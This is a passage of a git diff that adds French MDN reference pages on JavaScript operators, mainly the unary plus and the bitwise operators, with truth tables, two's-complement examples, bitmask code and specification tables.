+<p>L'opérateur unaire plus (+) précède son opérande, l'évaluation correspond à son opérande, converti en nombre si possible et si ce n'est pas déjà un nombre. Bien que l'opérateur de négation unaire (-) puisse également convertir les expressions qui ne sont pas des nombres, le plus unaire est la méthode la plus efficace et celle la plus utilisée pour convertir quelque chose en un nombre car la conversion est la seule opération effectuée. Cet opérateur permet de convertir les chaînes de caractères représentant des nombres entiers, des nombres flottants ainsi que les valeurs <code>true</code>, <code>false</code>, et <code>null</code>. Les entiers, représentés sous forme décimale ou hexadécimale (préfixés par "0x"), sont supportés. Les nombres négatifs sont également supportés (mais pas au format hexadécimal). Si l'opérateur ne peut pas analyser l'opérande fourni, il sera évalué à <a href="/fr/docs/JavaScript/Reference/Propriétés_globales/NaN">NaN</a>.</p>
+
+<h3 id="Syntaxe_10">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérator : +x</pre>
+
+<h3 id="Exemples_10">Exemples</h3>
+
+<pre class="brush: js">+3     // 3
++"3"   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){ return val; } // NaN
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additive-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td><a href="https://github.com/rwaldron/exponentiation-operator">Ajout de l'opérateur d'exponentiation.</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définis au sein de plusieurs sections de cette spécification : <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-additive-operators">Opérateurs additifs</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-multiplicative-operators">opérateurs multiplicatifs</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-postfix-expressions">expressions postfixes</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-unary-operators">opérateurs unaires</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.3')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définis au sein de plusieurs sections de cette spécification : <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.6">Opérateurs additifs</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.5">opérateurs multiplicatifs</a>,<a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.3"> expressions postfixes</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.4">opérateurs unaires</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">Opérateurs d'affectation</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_binaires/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_binaires/index.html
new file mode 100644
index 0000000000..621bfdbc4d
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_binaires/index.html
@@ -0,0 +1,553 @@
+---
+title: Opérateurs binaires
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires
+tags:
+  - JavaScript
+  - Operator
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Les opérateurs binaires traitent leurs opérandes comme des séquences de 32 bits (des zéros et des uns), plutôt que comme des nombres décimaux, hexadécimaux ou octaux. Par exemple, le nombre décimal neuf a une représentation binaire de 1001. Les opérateurs binaires traitent de telles représentations binaires, mais renvoient des valeurs numériques JavaScript standards.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Le tableau qui suit résume les opérateurs binaires de JavaScript :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Opérateur</th>
+   <th>Utilisation</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(ET_binaire)">ET binaire</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>
+    <p>Renvoie un <code>1</code> pour chaque position de bit pour laquelle les bits correspondants des deux opérandes sont des <code>1</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(OU_binaire)">OU binaire</a></td>
+   <td><code>a | b</code></td>
+   <td>Renvoie un <code>1</code> pour chaque position de bit pour laquelle le bit correspondant d'au moins un des deux opérandes est un <code>1</code> .</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(XOR_binaire)">OU exclusif binaire (<em>XOR</em>)</a></td>
+   <td><code>a ^ b</code></td>
+   <td>Renvoie un <code>1</code> pour chaque position de bit pour laquelle le bit correspondant d'un seul des deux opérandes est un <code>1</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(NON_binaire)">NON binaire</a></td>
+   <td><code>~ a</code></td>
+   <td>Inverse les bits de son opérande.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#&lt;&lt;_(décalage_à_gauche)">Décalage à gauche</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Décale <code>a</code> en représentation binaire de <code>b</code> bits vers la gauche, en introduisant des zéros par la droite.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#>>_(décalage_à_droite_avec_propagation_du_signe)">Décalage à droite avec propagation du signe</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Décale <code>a</code> en représentation binaire de <code>b</code> bits vers la droite, en rejetant les bits à droite.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#>>>_(décalage_à_droite_avec_insertion_de_zéros)">Décalage à droite avec introduction de zéros</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Décale <code>a</code> en représentation binaire de <code>b</code> bits vers la droite, en rejetant les bits à droite et en introduisant des zéros par la gauche.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Entiers_sur_32_bits_signés">Entiers sur 32 bits signés</h2>
+
+<p>Les opérandes de tous les opérateurs binaires sont convertis en entiers signés sur 32 bits en ordre big-endian et en format de <a href="https://fr.wikipedia.org/wiki/Compl%C3%A9ment_%C3%A0_deux">complément à deux</a> (à l'exception de l'opération de décalage à droite avec remplissage des zéros qui renvoie un non-signé). L'ordre big-endian signifie que le bit le plus significatif (la position du bit qui a la plus grande valeur) est le bit le plus à gauche si les 32 bits sont disposés sur une ligne horizontale. Le format de complément à deux signifie que la contrepartie négative d'un nombre (par exemple 5 pour -5) est l'inversion de tous les bits du nombre (NON binaire du nombre, c'est-à-dire son complément à un) plus un. Par exemple, la représentation suivante encode l'entier 314 (base 10) :</p>
+
+<pre class="eval">00000000000000000000000100111010
+</pre>
+
+<p>La représentation suivante encode ~314, c'est-à-dire le complément à un de 314 :</p>
+
+<pre class="eval">11111111111111111111111011000101
+</pre>
+
+<p>Finalement, la représentation suivante encode -314, c'est-à-dire le complément à deux de 314 :</p>
+
+<pre class="eval">11111111111111111111111011000110
+</pre>
+
+<p>Le complément à deux garantit que le bit le plus à gauche soit 0 lorsque le nombre est positif, et <code>1</code> lorsque le nombre est négatif. C'est pourquoi on l'appelle le <em>bit de signe</em> .</p>
+
+<p>Le nombre 0 est l'entier constitué intégralement de bits à <code>0</code> .</p>
+
+<pre>0 (base 10) = 00000000000000000000000000000000 (base 2)</pre>
+
+<p>Le nombre -1 est l'entier constitué intégralement de bits à <code>1</code> .</p>
+
+<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2)</pre>
+
+<p>Le nombre <code>-2147483648</code> (qui correspond à <code>-0x80000000</code> en notation hexadécimale) est l'entier uniquement composé de 0, à l'exception du premier bit (le plus à gauche) qui vaut 1.</p>
+
+<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)</pre>
+
+<p>Le nombre <code>2147483647</code> (qui correspond à <code>0x7fffffff</code> en notation hexadécimale) est l'entier uniquement composé de 1, à l'exception du premier bit (le plus à gauche) qui vaut 0.</p>
+
+<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2)</pre>
+
+<p>Les nombres <code>-2147483648</code> et <code>2147483647</code> sont respectivement le nombre le plus petit et le plus grand qu'on peut représenter sur 32 bits (signés).</p>
+
+<h2 id="Opérateurs_logiques_binaires">Opérateurs logiques binaires</h2>
+
+<p>Conceptuellement, les opérateurs logiques binaires fonctionnent de la manière suivante :</p>
+
+<ul>
+ <li>Les opérandes sont convertis en entiers sur 32 bits et exprimés sous la forme d'une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés :
+  <pre class="brush: js">Avant : 11100110111110100000000000000110000000000001
+Après :             10100000000000000110000000000001</pre>
+ </li>
+ <li>Chaque bit du premier opérande est combiné avec le bit correspondant du second opérande : le premier bit avec le premier bit, le second bit avec le second bit, et ainsi de suite.</li>
+ <li>L'opérateur est appliqué à chaque paire de bits, et le résultat est construit bit après bit.</li>
+</ul>
+
+<h3 id="(ET_binaire)"><a name="ET">&amp; (ET binaire)</a></h3>
+
+<p>Effectue l'opération ET (<em>AND</em>) sur chaque paire de bits. <code>a</code> ET <code>b</code> donne 1 uniquement si à la fois <code>a</code> et <code>b</code> sont <code>1</code> . La table de vérité pour l'opération ET est :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a ET b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="eval">     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>Utiliser le ET binaire avec n'importe quel nombre x et zéro donne zéro. Utiliser le ET binaire avec n'importe quel nombre x et -1 donne x.</p>
+
+<h3 id="(OU_binaire)"><a name="OU">| (OU binaire)</a></h3>
+
+<p>Effectue l'opération OU (<em>OR</em>) sur chaque paire de bits. <code>a</code> OU <code>b</code> donne <code>1</code> si <code>a</code> ou <code>b</code> vaut 1. La table de vérité pour l'opération OU est :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a OU b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="eval">     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>Utiliser le OU binaire avec n'importe quel nombre x et 0 donne x. Utiliser le OU binaire avec n'importe quel nombre x et -1 donne -1.</p>
+
+<h3 id="(XOR_binaire)"><a name="XOR">^ (XOR binaire)</a></h3>
+
+<p>Effectue l'opération XOR (OU exclusif) sur chaque paire de bits. <code>a</code> XOR <code>b</code> donne <code>1</code> si <code>a</code> et <code>b</code> sont différents. La table de vérité pour l'opération XOR est :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a XOR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="eval">     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>Utiliser le XOR binaire avec n'importe quel nombre x et 0 donne x. Utiliser le XOR binaire avec n'importe quel nombre x et -1 donne ~x.</p>
+
+<h3 id="(NON_binaire)"><a name="NON">~ (NON binaire)</a></h3>
+
+<p>Effectue l'opération NON (<em>NOT</em>) sur chaque bit. NON <code>a</code> donne la valeur inversée (c'est-à-dire le complément à un) de <code>a</code>. La table de vérité de l'opération NON est :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">NON a</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="eval"> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p>Utiliser le NON binaire avec n'importe quel nombre <code>x</code> donne <code>-(x + 1)</code>. Par exemple, <code>~-5</code> donne <code>4</code>.</p>
+
+<p>Étant donnée la représentation sur 32 bits des nombres en JavaScript, on a <code>~-1</code> et <code>~4294967295</code> (2<sup>32</sup>-1) qui valent tous les deux <code>0</code>.</p>
+
+<h2 id="Opérateurs_de_décalage_binaire">Opérateurs de décalage binaire</h2>
+
+<p>Les opérateurs de décalage binaire (<em>shift</em>) prennent deux opérandes : le premier est une valeur à décaler et le second spécifie le nombre de positions de bits duquel le premier opérande doit glisser. La direction de l'opération de décalage est contrôlée par l'opérateur utilisé.</p>
+
+<p>Les opérateurs de décalage convertissent leurs opérandes en entiers 32 bits en ordre big-endian et renvoient un résultat du même type que l'opérande de gauche. L'opérande droit doit être inférieur à 32, sinon les cinq bits les plus faibles seront utilisés.</p>
+
+<h3 id="&lt;&lt;_(décalage_à_gauche)"><a name="Gauche">&lt;&lt; (décalage à gauche)</a></h3>
+
+<p>Cet opérateur décale le premier opérande du nombre de bits spécifié vers la gauche. Les bits surnuméraires éjectés à gauche sont perdus. Des bits à zéro sont insérés par la droite.</p>
+
+<p>Par exemple, <code>9 &lt;&lt; 2</code> donne 36 :</p>
+
+<pre class="eval">     9 (base 10) : 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 &lt;&lt; 2 (base 10) : 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>Décaler un nombre <strong>x</strong> de <strong>y</strong> bits vers la gauche renverra <math><semantics><mrow><mi>x</mi><mo>*</mo><msup><mn>2</mn><mi>y</mi></msup></mrow><annotation encoding="TeX">x*2^y</annotation></semantics></math>. Par exemple,  <code>9 &lt;&lt; 3</code> correspondra à <code>9 * (2 ** 3) = 9 * 8 = 72</code>.</p>
+
+<h3 id=">>_(décalage_à_droite_avec_propagation_du_signe)"><a name="Droite">&gt;&gt; (décalage à droite avec propagation du signe)</a></h3>
+
+<p>Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des copies du bit le plus à gauche sont insérés par la gauche. Comme le bit le plus a gauche a la même valeur qu'avant l'opération, le bit de signe (celui qui est le plus à gauche) ne change pas. D'où ce qu'on appelle la « propagation du signe ».</p>
+
+<p>Par exemple, <code>9 &gt;&gt; 2</code> donne 2 :</p>
+
+<pre class="eval">     9 (base 10) : 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 &gt;&gt; 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>De même, <code>-9 &gt;&gt; 2</code> donne -3, parce que le signe est préservé :</p>
+
+<pre class="eval">     -9 (base 10) : 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 &gt;&gt; 2 (base 10) : 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_(décalage_à_droite_avec_insertion_de_zéros)"><a name="Droite_zero">&gt;&gt;&gt; (décalage à droite avec insertion de zéros)</a></h3>
+
+<p>Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des bits à zéro sont insérés par la gauche. Le bit de signe devient 0, donc le résultat est toujours positif. À la différence des autres opérateurs binaires, cette opération renvoie un entier non-signé sur 32 bits.</p>
+
+<p>Pour les nombres non négatifs, le décalage à droite avec insertion de zéros et le décalage à droite avec propagation du signe donnent le même résultat. Par exemple, <code>9 &gt;&gt;&gt; 2</code> donne 2, tout comme <code>9 &gt;&gt; 2</code> :</p>
+
+<pre class="eval">      9 (base 10) : 00000000000000000000000000001001 (base 2)
+                    --------------------------------
+9 &gt;&gt;&gt; 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Cependant, ce n'est pas le cas des nombres négatifs. Par exemple, <code>-9 &gt;&gt;&gt; 2</code> donne 1073741821, ce qui est différent de <code>-9 &gt;&gt; 2</code> (qui donne -3) :</p>
+
+<pre class="eval">      -9 (base 10) : 11111111111111111111111111110111 (base 2)
+                     --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10) : 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_flags_et_bitmasks">Exemple : <em>flags</em> et <em>bitmasks</em></h3>
+
+<p>Les opérateurs logiques binaires sont souvent utilisés pour créer, manipuler et lire des séquences de<em>flags</em> , qui sont comme des variables binaires. On pourrait très bien utiliser des variables à la place de ces séquences binaires, mais des flags binaires prennent nettement moins de mémoire (par un facteur de 32).</p>
+
+<p>Supposons que l'on ait 4 flags :</p>
+
+<ul>
+ <li>flag A : nous avons une araignée</li>
+ <li>flag B : nous avons une belette</li>
+ <li>flag C : nous avons un chat</li>
+ <li>flag D : nous avons un dinosaure</li>
+</ul>
+
+<p>Ces flags sont représentés par une séquence de bits : DCBA. Lorsqu'un flag est <em>positionné</em>, il a une valeur de 1. Sinon, il a une valeur de 0. Supposons qu'une variable <code>flags</code> a la valeur binaire de 0101 :</p>
+
+<pre class="eval">var flags = 0x5;   // 0101 en binaire
+</pre>
+
+<p>Cette valeur indique :</p>
+
+<ul>
+ <li>le flag A est vrai (nous avons une araignée) ;</li>
+ <li>le flag B est faux (nous n'avons pas de belette) ;</li>
+ <li>le flag C est vrai (nous avons un chat) ;</li>
+ <li>le flag D est faux (nous n'avons pas de dinosaure).</li>
+</ul>
+
+<p>Comme les opérateurs binaires sont sur 32 bits, <code>0101</code> est en fait <code>00000000000000000000000000000101</code>, mais les zéros qui précèdent peuvent être négligés étant donné qu'ils ne contiennent aucune information significative.</p>
+
+<p>Un <em>bitmask</em> est une séquence de bits qui peuvent manipuler et/ou lire des flags. Typiquement, un masque « primitif » pour chaque flag est défini :</p>
+
+<pre class="eval">var FLAG_A = 0x1; // 0001
+var FLAG_B = 0x2; // 0010
+var FLAG_C = 0x4; // 0100
+var FLAG_D = 0x8; // 1000
+</pre>
+
+<p>De nouveaux masques peuvent être créés à l'aide des opérateurs logiques binaires sur ces masques primitifs. Par exemple, le masque <code>1011</code> peut être créé avec une opération OU sur <code>FLAG_A</code>, <code>FLAG_B</code> et <code>FLAG_D</code> :</p>
+
+<pre class="eval">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Des valeurs de flag particulières peuvent être extraites à l'aide d'une opération ET avec un bitmask, où chaque bit avec la valeur 1 va « extraire » le flag qui correspond. Le bitmask <em>masque</em> les flags dont on n'a pas besoin en effectuant l'opération ET avec des zéros (d'où le terme « bitmask »). Par exemple, le masque 0100 peut être utilisé pour voir si le flag C est positionné :</p>
+
+<pre class="eval">// si l'on a un chat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+   // faire quelque chose
+}
+</pre>
+
+<p>Un masque avec plusieurs flags positionnés agit comme un « et/ou ». Par exemple, les deux instructions suivantes sont équivalentes :</p>
+
+<pre class="eval">// si on a une belette ou si on a un chat
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) { // (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+   // faire quelque chose
+}
+</pre>
+
+<pre class="eval">// si on a une belette ou si on a un chat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+   // faire quelque chose
+}
+</pre>
+
+<p>Les flags peuvent être positionnés en utilisant l'opération OU avec un masque, où chaque bit de la valeur 1 définira le flag correspondant, si celui-ci n'est pas déjà positionné. Par exemple, le masque 1100 peut être utilisé pour positionner les flags C et D :</p>
+
+<pre class="eval">// oui, on a un chat et un dinosaure
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask;   // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Les flags peuvent être remis à zéro en utilisant l'opération ET avec un masque, où chaque bit avec la valeur 0 remettra à zéro le flag correspondant s'il ne l'est pas déjà. Ce masque peut être créé avec l'opération NOT sur les masques primitifs. Par exemple, le masque 1010 peut être utilisé pour remettre à zéro les flags A et C :</p>
+
+<pre class="eval">// non, nous n'avons pas d'araignée ou de chat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Le masque aurait également pu être créé avec <code>~FLAG_A &amp; ~FLAG_C</code> (Loi de De Morgan) :</p>
+
+<pre class="eval">// non, nous n'avons pas d'araignée ou de chat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Les flags peuvent être inversés en utilisant l'opération XOR avec un masque, où chaque bit avec la valeur 1 inversera le flag correspondant. Par exemple, le masque 0110 peut être utilisé pour inverser les flags B et C :</p>
+
+<pre class="eval">// si on n'avait pas de belette, on en a maintenant une.
+// si on en avait une, on ne l'a plus. Même chose pour les chats.
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finalement, les flags peuvent être tous inversés avec l'opérateur NON :</p>
+
+<pre class="eval">// entrée dans un univers parallèle...
+flags = ~flags;    // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Codes_de_conversion">Codes de conversion</h3>
+
+<p>Pour convertir une <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String">String</a></code> binaire en un <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number">Number</a></code> (en base 10):</p>
+
+<pre class="brush: js">var chaîneBinaire = "1011";
+var monNombre = parseInt(chaîneBinaire, 2);
+console.log(monNombre); // affiche 11 (1011 en base 2)
+</pre>
+
+<p>Pour convertir un <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number">Number</a></code> (en base 10) en une <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String">String</a></code> binaire :</p>
+
+<pre class="brush: js">var monNombre = 11;
+var chaîneBinaire = monNombre.toString(2);
+console.log(chaîneBinaire); // affiche 1011 (11 en base 10)
+</pre>
+
+<h3 id="Automatiser_la_création_d'un_masque">Automatiser la création d'un masque</h3>
+
+<p>Si vous devez créer plusieurs masques à partir de booléens, il est possible d'automatiser ce processus :</p>
+
+<pre class="brush: js">function créerMasque () {
+  var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+  for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+  return nMask;
+}
+var masque1 = créerMasque(true, true, false, true); // 11, i.e.: 1011
+var masque2 = créerMasque(false, false, true); // 4, i.e.: 0100
+var masque3 = créerMasque(true); // 1, i.e.: 0001
+// etc.
+
+console.log(masque1); // affiche 11, i.e.: 1011
+</pre>
+
+<h3 id="Algorithme_réciproque_obtenir_un_tableau_de_booléen_à_partir_d'un_masque">Algorithme réciproque : obtenir un tableau de booléen à partir d'un masque</h3>
+
+<p>Si on souhaite créer un tableau de booléens à partir d'un masque, on pourra utiliser le code suivant :</p>
+
+<pre class="brush: js">function tableauMasque (nMask) {
+  // nMask doit être compris entre -2147483648 et 2147483647
+  if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) {
+    throw new TypeError("tableauMasque - intervalle de valeur dépassé");
+  }
+  for (var nShifted = nMask, aFromMask = []; nShifted;
+       aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+  return aFromMask;
+}
+
+var tableau1 = tableauMasque(11);
+var tableau2 = tableauMasque(4);
+var tableau3 = tableauMasque(1);
+
+console.log("[" + tableau1.join(", ") + "]");
+// affiche "[true, true, false, true]", i.e.: 11, i.e.: 1011
+</pre>
+
+<p>On peut ainsi utiliser les deux algorithmes :</p>
+
+<pre class="brush: js">var test = 19; // un masque quelconque
+var résultat = créerMasque.apply(this, tableauMasque(test));
+
+console.log(résultat); // 19
+</pre>
+
+<p>Pour l'exemple (car il existe la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number/toString">Number.toString(2)</a></code>), on peut également modifier l'algorithme précédent pour créer une chaîne à partir de la représentation binaire d'un nombre :</p>
+
+<pre class="brush: js">function créerChaîneBinaire(nMask) {
+  // nMask doit être compris entre -2147483648 et 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag &lt; 32;
+       nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+  return sMask;
+}
+
+var string1 = créerChaîneBinaire(11);
+var string2 = créerChaîneBinaire(4);
+var string3 = créerChaîneBinaire(1);
+
+console.log(string1);
+// affiche 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.7')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définis au sein de plusieurs sections de la spécification : <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Opérateur NON binaire</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Opérateurs binaires de décalage</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Opérateurs binaires</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définis au sein de plusieurs sections de la spécification : <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Opérateur NON binaire</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Opérateurs binaires de décalage</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Opérateurs binaires</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
